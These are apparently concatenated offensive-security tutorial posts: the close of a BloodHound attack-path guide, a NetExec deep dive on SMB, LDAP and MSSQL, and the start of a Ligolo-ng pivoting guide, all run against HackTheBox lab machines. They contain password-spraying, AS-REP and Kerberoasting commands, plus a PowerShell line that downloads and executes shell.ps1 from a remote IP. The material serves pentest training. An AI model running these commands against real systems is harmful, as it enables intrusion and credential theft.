SUPPORT  --MemberOf-->  SHARED SUPPORT ACCOUNTS  --GenericAll-->  DC.SUPPORT.HTB  --DCFor-->  SUPPORT.HTB  --Contains-->  USERS  --Contains-->  DOMAIN ADMINS

Six hops looks scary the first time. It isn't. Learn to read these paths and you'll see most of it is scenery.

Here's the trick that trips up every beginner: not every edge in a path is an action you take. Walk it left to right. The MemberOf is just a fact, you're in that group. Then comes the one that counts, the GenericAll on DC.SUPPORT.HTB. That's your attack. That's the same edge from step five, the one that lets you drop Shadow Credentials on the domain controller. Everything after it, the DCFor, the two Contains edges, is structural filler. BloodHound is just connecting the dots to prove that owning the DC computer means owning the domain, because Domain Admins literally lives inside that domain.

So a six-hop path resolves to exactly one thing you actually do: abuse that GenericAll on the DC. The rest is BloodHound showing its work. Read every path this way. Find the real attack edges, the ACLs and the abuses, and mentally skip the membership and containment edges that are just topology. A path with five hops and one attack edge is one move, not five.

Other destinations worth trying

Domain Admins is the headliner, but the destination field takes anything:

The domain object (SUPPORT.HTB) or Domain Controllers, when you care about domain-wide compromise more than a specific group. Enterprise Admins, once you're in a multi-domain forest and want the whole thing, not just one domain. A specific box or user, when you're not going for the crown yet, you just need to reach one particular machine for lateral movement or one account whose access you want. Tier Zero / high-value targets, to see every sensitive object you can touch at once.

Point is, pathfinding isn't only a "how do I become god" button. It's a "how do I get from A to any B" button, and B is whatever your current objective happens to be.

Quick teaser while we're here: keep an eye out for my bloodyAD deep dive, coming soon. When it's time to stop looking at these edges and start pulling them, bloodyAD is hands down the best tool going for interacting with AD permissions and objects, and it deserves its own writeup rather than a footnote in this one.

So that's pathfinding. Point it at Domain Admins, read the path, strip it down to the real attack edges, and you've got your route. But pathfinding only answers questions shaped like "from here to there." Sometimes the question you actually want to ask is weirder and more specific than that. For that, we drop down to the raw query language underneath the whole tool.

The last stop: Cypher

Everything so far has been point-and-click. Search, mark owned, run pathfinding. Those cover most of what you'll ever need. But under the whole tool sits a query language, and when the question you want to ask doesn't have a button, this is where you go.

Cypher is the graph query language BloodHound runs on. Think of it as SQL's cousin, except instead of querying rows and tables it queries nodes and the edges between them, which is exactly the shape of an Active Directory attack. Written from scratch it's a whole skill of its own. The good news: you don't have to write any of it to get enormous value, because BloodHound ships with a library of pre-built queries someone already wrote for you.

Click the Cypher tab in the Explore toolbar, then expand Saved Queries. You'll get a categorized, searchable list, Domain Information, Dangerous Privileges, and more. There are dozens. Most you'll never touch. These three earn their keep on nearly every engagement:

Shortest Paths from Owned Objects

This is the query step four was setting up. Remember all that flagging accounts as owned? This is the cash-out. It takes every node you marked as owned and computes the fastest attack paths from your actual position to the high-value targets in the domain.

That "from where I actually stand" framing is what makes it gold. It ignores the thousands of paths that have nothing to do with you and shows only the ones you can start walking right now, with the creds already in your pocket. On a big domain this is frequently the single most useful thing BloodHound does. One click and it filters an ocean of permissions down to your personal to-do list. Own more accounts, re-run it, watch new paths appear.

Shortest Paths to Domain Admins

The mirror image. Pathfinding made you pick a start node. This one doesn't care where you are. It surfaces every short road into Domain Admins from anywhere in the domain, owned or not.

Why bother if you can't walk them yet? Because it tells you what to target next. If some unremarkable user two desks over sits one hop from Domain Admins, that user just became your objective. This query spots the weak links in the domain's armor so you know which account is worth the effort to grab. It's reconnaissance for your reconnaissance.

All Kerberoastable Users

Different flavor entirely, and a beautiful opener on almost any domain. This lists every account with an SPN set, which is every account you can Kerberoast.

Quick why-you-care: any authenticated user can request a service ticket for an SPN-enabled account, and that ticket comes back encrypted with the account's password hash. Pull it, crack it offline, and you've got the plaintext. No special rights, barely any noise, and service accounts are notorious for ancient weak passwords, sometimes on accounts with real privilege. This query hands you the full hit list of who's roastable in one shot. It won't always be your path on Support, but on a huge share of boxes and real domains it's the first thing worth trying.

The permissions that make these pop

The paths these queries draw are strung together by the same object-control edges from step five, and a couple show up constantly:

ForceChangePassword is the cleanest takeover there is. It lets you reset a target user's password without knowing the current one. See this edge pointing at someone useful and that account is effectively yours.

GenericWrite / GenericAll is broad write control, and it opens doors, shadow credentials, RBCD, and my favorite pairing with the query above: targeted Kerberoasting. If you hold GenericWrite over an account, you can slap an SPN onto it yourself, roast it, and crack it, turning a non-roastable account into a roastable one on demand.

And exactly like pathfinding, everything in a Cypher result is clickable. The paths it returns show you the exploit route, the permission that unlocks each hop, and the user or group you need to abuse it, and you can click any node or any edge to pull up that same info panel, General and Windows Abuse, and read exactly what it is and how to use it. Same inspection loop, more targeted questions.

That's the toolkit chapter

That's the whole loop end to end. Collect with RustHound, start the UI, import clean, mark what you own, read your outbound control, pathfind to the crown, and query for the rest. From one low-priv ldap account to owning support.htb, mapped the entire way.

Now the honest part. This is not a comprehensive BloodHound guide, and it was never trying to be. This is an Inferno-style writeup: maximum return, minimum time, get you dangerous fast and get out of your way. There is a lot more here, custom Cypher, edge filtering, ADCS graphing, cross-forest paths, that I deliberately left on the floor so this stayed useful instead of exhaustive. If you walked away knowing how to go from a foothold to a mapped path to Domain Admins, it did its job.

A couple of these threads get their own posts. The AD permissions deep dive breaks down what each of these edges actually is and how you weaponize them one by one. The bloodyAD deep dive covers the best tool going for reaching out and pulling these edges once you've found them. Both coming soon, both linked here when they land. And if you haven't read the NetExec deep dive, and want to learn more just check out the toolkit hub below for all the links to the entire series.

Find. Fix. Fortify.

Toolkit hub for more tool posts https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me

If Ligolo-ng is the tool I want ready the second I need to pivot, NetExec is the tool I want ready the second Active Directory shows up.

NXC is one of the tools I reach for most on an AD box, because it handles so many different jobs without forcing me to switch workflows every five minutes. The easiest way to understand it is by protocol:

nxc smb ...
nxc ldap ...
nxc mssql ...

Same tool. Different protocol. Different job.

NetExec supports far more than these three, but these are the modules I actually live in:

• SMB for anonymous access checks, users, shares, credential validation, password policy, and hunting through files.

• LDAP for checking anonymous access and collecting the domain for BloodHound.

• MSSQL for validating SQL credentials and turning SQL access into command execution.

Those three alone cover a ridiculous amount of ground.

Part 1: The Mental Model

The thing that made NetExec click for me was killing this thought:

NetExec is an SMB enumeration tool.

It is much closer to this:

NetExec is a protocol-aware command center.

You tell it what protocol you are working with, hand it a target and whatever credentials you currently have, and ask what that access actually buys you.

That matters because AD testing is a progression. You usually start with nothing, then pick up valid usernames, then a username and password, then confirm that credential works over SMB, then find a readable share, then pull another credential out of a script, then use LDAP to collect the domain, then discover MSSQL, then realize that SQL account can run OS commands.

NetExec stays with you through almost that entire chain. That is why I call it my AD Swiss Army knife.

Part 2: SMB

The Module I Use the Most

If you learn one NetExec module first, make it SMB. It shows up constantly in Windows and AD environments, and NXC lets you do far more with it than checking whether a password works. With the SMB module you can check anonymous access, enumerate shares and domain users, export user lists, read the password policy, validate credentials, and spider readable shares while auto-downloading files.

Here is how I work a fresh SMB target.

First, Read the Banner: FQDN, DN, and /etc/hosts

Before any of the enumeration, every nxc smb command prints a banner, and it quietly hands you two things worth grabbing on the very first run: the DC hostname and the domain.

SMB  10.129.42.211  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True)

(name:DC) and (domain:support.htb) combine into the fully qualified domain name: DC.support.htb. That same domain also gives you the base Distinguished Name that LDAP and BloodHound work in: support.htb maps to DC=support,DC=htb, and LDAP enumeration will confirm it. This banner is genuinely the fastest way to leak both of those in one shot.

Grab them and drop them into /etc/hosts pointing at the target, before you do anything else:

10.129.42.211  support.htb DC.support.htb DC

Why this matters so much: your Kali box has no idea how to resolve the internal AD domain, so support.htb and DC.support.htb mean nothing to it until you tell it. More importantly, Kerberos is built on hostnames and SPNs, not IP addresses. The second you touch anything Kerberos based (requesting a TGT, using a ticket, evil-winrm -k, Certipy, AD CS attacks, targeted roasting) the tooling expects the FQDN. Point it at a raw IP and Kerberos either errors out or silently falls back to NTLM, which is exactly the kind of failure that eats an hour before you realize DNS was the problem.

Fix /etc/hosts once, early, from the first banner NXC prints, and you save yourself that whole class of confusing failures later.

Always Check Anonymous Access First

Before I try a single username or password, I want to know what the server gives away for free.

Start with a true null session:

nxc smb TARGET -u '' -p '' --shares

Then try the Guest account with a blank password:

nxc smb TARGET -u 'guest' -p '' --shares

I check both because they are not the same thing. The null session asks "will SMB let me interact with no username or password at all?" The Guest attempt asks "will the built-in Guest account get me in without a password?" One can fail while the other works, so a single failed check is not the end of SMB enumeration.

What I care about is whether anything readable comes back:

Share           Permissions
-----           -----------
IPC$
NETLOGON
SYSVOL
Development     READ
Backups         READ

Development and Backups immediately have my attention. That is potentially free access to files before I have cracked, sprayed, or stolen a single credential. Never assume SMB needs credentials until you actually ask it.

--shares Failed? Still Check --users

This is the SMB check people miss most. Say share enumeration gets denied:

nxc smb TARGET -u '' -p '' --shares

It is tempting to call anonymous SMB dead and move on. Not yet. Still try:

nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users

Listing file shares and enumerating domain users are different operations. NXC's --users can talk to the Windows SAMR RPC interface over the \samr pipe to pull account info, which is the same idea as enumerating users manually with rpcclient:

rpcclient -U '' -N TARGET

NXC just gives you the fast one-line version. The lesson: no anonymous share access does not mean no anonymous RPC enumeration. If RPC permissions are loose, --shares can give you nothing while --users hands you a list of real domain accounts.

And valid usernames are gold. They feed password spraying, AS-REP roasting, Kerberos testing, credential reuse, and service account hunting. It takes a few seconds. Make the check.

--users Empty? Try --rid-brute

Here is the fallback that matters: when --users comes back empty, RID brute forcing can still uncover accounts that --users missed. They are two different techniques, so try both during anonymous user enumeration.

--users asks SAMR nicely for the account list. --rid-brute takes a different route: it walks account RIDs one by one (500, 501, 502, and up) and resolves each SID to a name through LSA lookups. If you have used Impacket's lookupsid.py, this is the same idea. That means SAMR enumeration can be restricted and returning nothing while RID brute forcing still resolves real accounts.

nxc smb TARGET -u 'guest' -p '' --rid-brute

On HTB's Support box, guest with a blank password authenticated, and RID brute forcing walked the entire domain:

SMB  10.129.42.211  445  DC  [+] support.htb\guest:
SMB  10.129.42.211  445  DC  500: SUPPORT\Administrator (SidTypeUser)
SMB  10.129.42.211  445  DC  501: SUPPORT\Guest (SidTypeUser)
SMB  10.129.42.211  445  DC  502: SUPPORT\krbtgt (SidTypeUser)
...
SMB  10.129.42.211  445  DC  1104: SUPPORT\ldap (SidTypeUser)
SMB  10.129.42.211  445  DC  1105: SUPPORT\support (SidTypeUser)
SMB  10.129.42.211  445  DC  1106: SUPPORT\smith.rosario (SidTypeUser)
SMB  10.129.42.211  445  DC  1107: SUPPORT\hernandez.stanley (SidTypeUser)
SMB  10.129.42.211  445  DC  1108: SUPPORT\wilson.shelby (SidTypeUser)
...
SMB  10.129.42.211  445  DC  1120: SUPPORT\ford.victoria (SidTypeUser)

The well-known RIDs (500 Administrator, 502 krbtgt) come first, then the domain-created accounts commonly appear in the higher RID ranges, often 1000 and up. Those are the real users you feed into everything downstream. So the rule for anonymous user enum is simple: run --users, and if it gives you nothing, run --rid-brute before you give up.

Export the Users Immediately

If --users gives you a good list, do not copy names out of the terminal by hand. Write them straight to a file:

nxc smb TARGET -u '' -p '' --users-export users.txt

Or once you have credentials:

nxc smb TARGET -u USER -p PASSWORD --users-export users.txt

Now users.txt is ready to reuse everywhere:

nxc smb TARGET -u users.txt -p 'Password123!'

Enumerate once. Export once. Reuse everywhere.

Before Spraying, Check the Password Policy

An underused flag: --pass-pol. Before I spray anything, I want to know the lockout and password policy.

nxc smb TARGET -u USER -p PASSWORD --pass-pol

I want the lockout threshold, minimum length, password history, max age, and lockout duration, because a spray is not something I run blind. A threshold of 3 attempts changes everything compared to no lockout at all. So the order is always: users, then policy, then spray carefully.

Spraying and Credential Reuse

Once I have a user list and a sane read on the policy, SMB is also where I spray. Feed it the file of users and a single password to test:

nxc smb TARGET -u users.txt -p 'Welcome2024!'

Or feed it a password list instead of a single value:

nxc smb TARGET -u users.txt -p passwords.txt

NXC pairs the credentials and reports each result, flagging valid ones with [+]. But by default it can stop chasing a given user once something works, and that is where one flag matters:

nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success

--continue-on-success tells NXC to keep going after it finds a valid login instead of stopping. That is exactly what you want when you are hunting credential reuse: one password that works on smith.rosario might also work on wilson.shelby and west.laura, and shared local or service passwords are extremely common in AD. Without the flag you can confirm one hit and quietly miss the other five accounts using the same password. With it, you get the full picture of everywhere that credential lands.

Two things to keep in mind. Mind the lockout policy you just pulled, because a password list against every user is a lot of attempts, and --continue-on-success does not slow anything down, it just stops short-circuiting. And the same spraying pattern works across the other protocols too (nxc ldap, nxc mssql, nxc winrm), so once you have a working credential you can quickly answer "where else does this work?" by pointing the same list at a different protocol.

Credential Validation

Once I have a username and password, I come straight back to SMB:

nxc smb TARGET -u USER -p PASSWORD

At this point I am not just asking "is the password valid?" I am asking "where does this credential work, and what does it unlock?" Across an AD box you will collect several credentials, and NXC makes it easy to keep answering that question for each one.

Share Enumeration with Credentials

If auth works, look at what you can now read:

nxc smb TARGET -u USER -p PASSWORD --shares

I care most about custom shares like Backups, Development, Finance, Scripts, Deploy, or IT. Those hold user-created material: scripts, config files, backups, spreadsheets, database configs, keys, old exports. You can browse it all by hand, or let NXC do the boring part.

spider_plus: Let NXC Crawl the Shares

This is my favorite SMB module.

nxc smb TARGET -u USER -p PASSWORD -M spider_plus

spider_plus recursively walks readable shares and records what it finds, writing file metadata like paths, sizes, and timestamps locally. That alone saves a lot of manual navigation. But you usually want to cut the default noise first.

Here is a real run against Support with downloads on and only IPC$ excluded:

nxc smb 10.129.42.211 -u 'guest' -p '' --shares -M spider_plus -o EXCLUDE_FILTER='IPC$' DOWNLOAD_FLAG=TRUE OUTPUT_FOLDER=. MAX_FILE_SIZE=20000000

SPIDER_PLUS  [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS  [*] EXCLUDE_FILTER: ['ipc$']
SPIDER_PLUS  [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS  [*]  MAX_FILE_SIZE: 19.07 MB
SPIDER_PLUS  [+] Saved share-file metadata to "./10.129.42.211.json".
SPIDER_PLUS  [*] SMB Readable Shares:  2 (IPC$, support-tools)
SPIDER_PLUS  [*] Total files found:    7
SPIDER_PLUS  [*] Files filtered:       2
SPIDER_PLUS  [*] Downloads successful: 5
SPIDER_PLUS  [+] All files processed successfully.

Two things to read out of that stats block. It dropped the metadata into a JSON named after the target IP, so you always know where the inventory lives. And "Total files found: 7, Files filtered: 2, Downloads successful: 5" is the module telling you it skipped some. Files can be filtered by excluded extensions or the configured size cap, so when downloads come up short, that stats block is where you find out why.

Filter the noise. If I am hunting user content, I do not want the spider grinding through every default admin share:

nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'

The module already excludes print$ and ipc$ by default, but spelling out the list lets you control exactly what gets skipped. One exception: do not blindly treat SYSVOL as useless. It can hold login scripts, deployment scripts, GPP remnants, and policy artifacts, so if that is what I am after, I leave it in. The rule is not "always ignore these," it is "do not crawl what you already know you do not need."

Actually download files. By default spider_plus mostly inventories. To pull eligible files down to Kali, add DOWNLOAD_FLAG=True:

nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True

This is a lifesaver when a share holds 300 files instead of 3. Nobody wants to cd, ls, get, cd .. on loop. Once the loot is local, use normal Linux tooling:

grep -Rni 'password' .
grep -Rni 'secret' .

Now you are searching files locally instead of poking the remote share over and over.

Watch MAX_FILE_SIZE. The default is 51200 bytes, about 50 KB, so downloads do not mean every file comes down. The module checks size against MAX_FILE_SIZE before pulling. Raise it as needed:

# ~10 MB
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760

Know that default. Otherwise you enable downloads, see files missing, and wrongly assume the module broke. On a real engagement, hoovering huge amounts of data is a different decision than doing it in a lab, so size accordingly.

Control where it lands with OUTPUT_FOLDER:

mkdir -p ./spidered
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered

The module organizes everything under that folder by host, share, and remote path instead of dumping it into one giant pile.

My full spider command when I have creds and several readable shares:

nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'

That gives me share enumeration, recursive spidering, auto-download, a bigger size limit, a clean output directory, and noise filtering in one shot. It is not doing the pentest for me. It is removing repetitive file wrangling so I can spend my time figuring out which files actually matter.

SMB Workflow

# Fresh target: the banner leaks (name:) + (domain:), add FQDN + domain to /etc/hosts
# Then check what's free
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u 'guest' -p '' --shares

# Even if shares fail, check users
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users

# If --users is empty, RID brute may still work
nxc smb TARGET -u 'guest' -p '' --rid-brute

# Export anything you get
nxc smb TARGET -u '' -p '' --users-export users.txt

# Once creds appear: policy, then validate, then shares
nxc smb TARGET -u USER -p PASSWORD --pass-pol
nxc smb TARGET -u USER -p PASSWORD
nxc smb TARGET -u USER -p PASSWORD --shares

# Spray a user list, keep going to catch reuse
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success

# Then spider and collect
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'

Check what SMB gives you for free. Do not assume a failed share check

Part 3: LDAP

A Few Jobs: Enumeration, Roasting, and Domain Collection

Compared to SMB, my LDAP workflow is simple. NetExec has a ton of LDAP options, but in practice I reach for a few: check whether the domain allows anonymous LDAP enumeration, roast accounts straight from LDAP, and collect the domain for BloodHound once I have credentials.

Always Check for Anonymous LDAP Bind

Same instinct as anonymous SMB. Before I throw credentials at anything, I want to know what the domain gives up for free:

nxc ldap DC_IP -u '' -p '' --users

If it works, --users can immediately hand me valid domain accounts, which again feed spraying, AS-REP roasting, Kerberos enumeration, and targeted attacks, all without a password. It is cheap enough that I always try it. If anonymous access is disabled, no big deal, LDAP becomes useful again the moment credentials show up.

Roast Straight From LDAP

The LDAP module does more than enumerate. It can pull two kinds of crackable Kerberos hashes directly, and both are worth running the moment you can.

AS-REP roasting targets accounts that have Kerberos pre-authentication disabled. Anyone can request an AS-REP for those accounts and get back a chunk of data encrypted with the account's password, which you then crack offline. The useful part is that this one does not always need credentials. Point it at a user list with an empty password and it tests each name:

nxc ldap DC_IP -u users.txt -p '' --asreproast asrep.txt

If you already have one valid domain credential, drop the list and let it find every pre-auth-disabled account for you:

nxc ldap DC_IP -u USER -p PASSWORD --asreproast asrep.txt

Crack the results with hashcat mode 18200.

Kerberoasting targets service accounts, the ones with a servicePrincipalName. NetExec requests a service ticket for each, and the ticket comes back encrypted with the service account's password. This one needs a domain account, or an AS-REP roastable account, to run:

nxc ldap DC_IP -u USER -p PASSWORD --kerberoasting kerb.txt

Crack those with hashcat mode 13100.

Both write their hashes to the file you name, so you can feed it straight to your cracker. And if the account you want to roast has no SPN of its own, NetExec can set one temporarily with --targeted-kerberoast, provided you have write access to that account's servicePrincipalName.

Credentials Obtained? Collect the Domain

Once I have valid domain credentials, one of my first priorities is getting the environment into BloodHound. NetExec can run the collection directly:

nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP

One from my notes:

nxc ldap 10.10.10.100 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --bloodhound -d active.htb -c All --dns-server 10.10.10.100

The pieces that matter: --bloodhound runs the collection, -d sets the domain, -c All requests the full collection set, and --dns-server points DNS at the domain controller, which saves a lot of headaches in labs where Kali can't resolve the internal AD domain. Current NXC supports BloodHound CE collection and exposes methods including All, ACL, ADCS, Session, LocalAdmin, and RDP, among others.

Once the collection finishes, I import it into BloodHound and stop looking at the domain as individual machines. I start looking at relationships: users, groups, computers, ACLs, sessions, delegation, AD CS, and privilege paths. That is where Active Directory starts making sense as an attack graph.

Quick Note on RustHound-CE

Even though NXC collects BloodHound data fine, RustHound-CE is my external collector of choice, and LAPS is one of the biggest reasons. RustHound processes both legacy LAPS attributes (ms-Mcs-AdmPwd) and newer Windows LAPS attributes (msLAPS-Password), so if the account I am collecting with can read the password, RustHound surfaces it during collection. Finding a readable LAPS password automatically while you are already mapping the domain is a great thing to stumble into. I am not turning this into a RustHound tutorial here; it gets its own Toolkit post.

LDAP Workflow

# Fresh DC: check what LDAP gives you for free
nxc ldap DC_IP -u '' -p '' --users

# Roast what you can (AS-REP works with just a user list)
nxc ldap DC_IP -u users.txt -p '' --asreproast asrep.txt

# Once credentials appear: roast service accounts, then collect the domain
nxc ldap DC_IP -u USER -p PASSWORD --asreproast asrep.txt
nxc ldap DC_IP -u USER -p PASSWORD --kerberoasting kerb.txt
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP

Before credentials: see what LDAP gives up and AS-REP roast a user list. After credentials: roast the service accounts, then map the domain, then import into BloodHound and find the attack path.

# AS-REP roast (user list, no creds)
nxc ldap DC_IP -u users.txt -p '' --asreproast asrep.txt

# AS-REP roast (authenticated)
nxc ldap DC_IP -u USER -p PASSWORD --asreproast asrep.txt

# Kerberoast
nxc ldap DC_IP -u USER -p PASSWORD --kerberoasting kerb.txt

Part 4: MSSQL

Where NXC Really Saves Me Time

MSSQL is one of my favorite quality-of-life wins in NetExec. I do not use it for twenty things. The main reason I reach for it is one question: I have SQL credentials, can I turn them into OS command execution?

Start by validating:

nxc mssql TARGET -u USER -p PASSWORD --local-auth

From a lab:

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth

MSSQL  10.129.232.128  1433  DC01  [*] Windows Server 2019 (name:DC01) (domain:sequel.htb)
MSSQL  10.129.232.128  1433  DC01  [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)

That (Pwn3d!) matters. NXC checks SELECT IS_SRVROLEMEMBER('sysadmin') during auth, and if the login is a SQL Server sysadmin, it flags it. So I already know I am holding something powerful.

-x for Commands

nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami

MSSQL  10.129.232.128  1433  DC01  [+] Executed command via mssqlexec
MSSQL  10.129.232.128  1433  DC01  sequel\sql_svc

That is the transition I care about: SQL credentials to MSSQL auth to OS command execution. One flag.

-X for PowerShell

Uppercase X runs PowerShell:

nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"

Easiest way to remember it: lowercase -x is a command, uppercase -X is PowerShell.

NXC Handles xp_cmdshell for You

This is my favorite part of the module. OS command execution through SQL Server normally rides on xp_cmdshell, which is often disabled. Working manually through Impacket's mssqlclient, you enable it yourself:

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

NetExec removes that friction. When you run -x, NXC checks the state of show advanced options and xp_cmdshell, and if either is disabled and your account can change it, NXC temporarily enables it, runs exec master..xp_cmdshell 'COMMAND', and here is the clean part: it restores the original state afterward. If xp_cmdshell started disabled, NXC re-disables it when it is done. If it was already enabled, NXC leaves it alone. Same logic for show advanced options.

So -x gives you automatic setup without leaving SQL Server reconfigured after a single command. NXC obviously cannot enable it if your account lacks the privilege, but when the account has it, -x whoami becomes my fast "can this SQL access become OS execution?" check.

mssql_priv: When You Are Not Sysadmin Yet

Not every valid SQL credential lands as sa. That is what the mssql_priv module is for:

nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv

It looks at the current user's privileges and tries to find a path up. It checks whether you are already sysadmin, whether you can impersonate another login, whether that login can impersonate someone else, and whether the chain eventually reaches a sysadmin, plus db_owner rights on a trusted database. So it can reason through something like:

low_priv_login  ->  impersonate USER_B  ->  USER_B impersonates USER_C  ->  USER_C is sysadmin

It supports ACTION=enum_priv, ACTION=privesc, and ACTION=rollback, defaulting to enumeration. So first I just enumerate:

nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv

If it finds a route and I am authorized to test it:

nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv -o ACTION=privesc

And it can roll the granted sysadmin privilege back:

nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv -o ACTION=rollback

That turns a pile of manual SQL privilege queries into one question: does this login have a route to sysadmin? I do not reach for it as often as -x and -X, but it is absolutely worth knowing.

MSSQL Workflow

# Validate. (Pwn3d!) means sysadmin.
nxc mssql TARGET -u USER -p PASSWORD --local-auth

# Command execution
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami

# PowerShell
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "POWERSHELL_COMMAND"

# Valid but not sysadmin? Look for a privesc path.
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv

Shortcut: -x = command, -X = PowerShell, mssql_priv = find SQL privilege escalation.

How the Three Modules Fit Together

This is the whole point of the post. Do not think of these as disconnected tricks. Think about how they chain through one engagement.

Start with SMB and see what is free:

nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u '' -p '' --users

Maybe anonymous user enumeration works, so export the list. Eventually you get credentials, so check the policy, validate, look at shares, and spider the interesting ones. Somewhere in that loot you pull another credential.

Now move to LDAP and map the domain:

nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP

BloodHound shows you the relationships. Eventually you discover MSSQL, validate the login, and turn it into execution:

nxc mssql TARGET -u USER -p PASSWORD --local-auth
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami

SMB tells you what the Windows environment gives you. LDAP tells you what the domain gives you. MSSQL tells you what the SQL Server gives you. All three run through the same tool, and NXC stays relevant as the engagement changes shape.

Quick Reference

SMB

# Anonymous / guest shares
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u 'guest' -p '' --shares

# Anonymous / guest users
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users

# RID brute forcing fallback when --users is empty
nxc smb TARGET -u 'guest' -p '' --rid-brute

# Export users
nxc smb TARGET -u '' -p '' --users-export users.txt

# Password policy
nxc smb TARGET -u USER -p PASSWORD --pass-pol

# Spray a user list with one password, or a password list
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success
nxc smb TARGET -u users.txt -p passwords.txt --continue-on-success

# Validate credentials
nxc smb TARGET -u USER -p PASSWORD

# Shares
nxc smb TARGET -u USER -p PASSWORD --shares

# Full spider_plus workflow
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'

LDAP

# Anonymous users
nxc ldap DC_IP -u '' -p '' --users

# BloodHound collection
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP

MSSQL

# Validate SQL credentials
nxc mssql TARGET -u USER -p PASSWORD --local-auth

# Execute command
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami

# Execute PowerShell
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "POWERSHELL_COMMAND"

# Enumerate SQL privilege escalation
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv

Remember: -x = command, -X = PowerShell.

The One Thing to Remember

NetExec is not valuable because it has a giant pile of flags. It is valuable because it lets you keep moving without constantly switching tools. Check anonymous SMB, enumerate and export users, read the password policy, validate credentials, hunt through shares, pull loot, query LDAP, collect BloodHound data, authenticate to MSSQL, spot sysadmin access, run CMD or PowerShell, and find SQL privesc paths, all from one tool. Then take whatever you learned from one protocol and feed it straight into the next.

Do not try to memorize every NXC flag. Know the job you need done, pick the protocol, give it what you currently know, see what comes back, and keep moving. That is how I actually use it.

For the full attack chains where these techniques show up in context, check out the penetration testing writeups across the rest of Hack2Harden.

Find. Fix. Fortify.

This is the first deep dive in the OSCP Toolkit series

https://www.hack2harden.com/the-oscp-toolkit-the-tools-that-actually-carried-me

The hub explains where Ligolo fits in the bigger picture. This one is the how, straight from my own workflow.

/I'm going to keep this the way I actually run it: shortest useful path first, commands before theory, one default before alternatives. Get a pivot working, then reach for the extra stuff only when the box makes you.

Part 1: What Ligolo Is, and the One Idea That Makes It Click

Ligolo-ng is a tunneling and pivoting tool. You get a foothold on a host that can see an internal network you can't, and Ligolo turns that host into a doorway so you can attack what's behind it.

Here's the whole mental model, and if you get this one thing the rest of Ligolo makes sense:

Routes are for Kali reaching in. Listeners are for targets calling back.

Those are two different jobs and two different directions.

• Route: you add a route through the tunnel, and now Kali can reach internal hosts directly. Traffic goes Kali to pivot to internal target. This is how you scan, enumerate, and attack machines on the inside.

• Listener: an internal target needs to connect back to you (a reverse shell, a file download). The listener binds on the pivot, the target calls the pivot's IP, and Ligolo forwards that connection home to Kali. Traffic goes internal target to pivot to Kali.

Routes push you into the network. Listeners pull a callback back out to you. Keep these two straight and Ligolo stops being confusing.

Most of your work is routing. Listeners come up only when a target has to talk back to you, and I'll give them their own section later. For now, just hold the split: reaching in is a route, calling back is a listener.

Part 2: The Minimal Pivot (This Is 90% of What You'll Do)

This is the core workflow. Proxy on Kali, agent on the pivot, start the tunnel, forward a route, verify. Nothing else. If all you ever learn is this section, you can pivot.

Step 1: Start the proxy on Kali

The proxy is the Kali-side Ligolo server. Your agent connects back to it.

sudo ligolo-proxy -selfcert

It will prompt you: ? Enable Ligolo-ng WebUI? Answer No. It then listens on 0.0.0.0:11601 by default. Leave it running in its own terminal.

